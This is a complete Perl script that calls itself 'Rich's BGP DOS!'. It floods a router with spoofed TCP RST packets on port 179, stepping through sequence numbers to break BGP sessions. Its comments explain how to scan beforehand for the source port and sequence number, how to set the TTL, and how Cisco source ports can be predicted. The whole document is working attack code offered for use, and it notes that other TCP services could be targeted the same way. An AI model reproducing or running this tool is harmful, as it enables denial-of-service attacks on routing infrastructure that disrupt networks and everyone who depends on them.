#!/usr/bin/perl
#
# Rich's BGP DOS!
# version .02
# Sends out RST flood to DOS BGP Connections
#
# Requires getopts.pl and Net:RawIP (http://www.ic.al.lg.ua/~ksv/)
#
#For this to work you must do a preceding scan to figure out what the source port and sequence number should be!
#Cisco routers have a magic source port after reboot and all subsequent source ports are incremented by 1 or 512 depending on IOS
#And also find out the hops to set the ttl w/ traceroute. Per the RFC, the TTL must be 1 when it arrives at the router.
#
#require 'getopts.pl';
use Net::RawIP;
Getopts('s:p:d:t:x');
$a = new Net::RawIP;
die "Usage $0 -s <spoofed source> -p <source port> -d <destination> -t <ttl>" unless ($opt_s && $opt_p && $opt_d && $opt_t);
$count=0;
while ($count < 4294967296) {
#Increment the count
$count=$count + 16384;
#Create IP packet!
$a->set({ ip =>
{saddr => $opt_s,
daddr => $opt_d,
ttl => $opt_t
},
#Another TCP port could be specified here to do DOSes on other TCP services. BGP is 179
tcp=> {dest => 179,
source => $opt_p,
window => 16384,
seq => $count,
rst => 1}
});
#Send it out!
$a->send;
}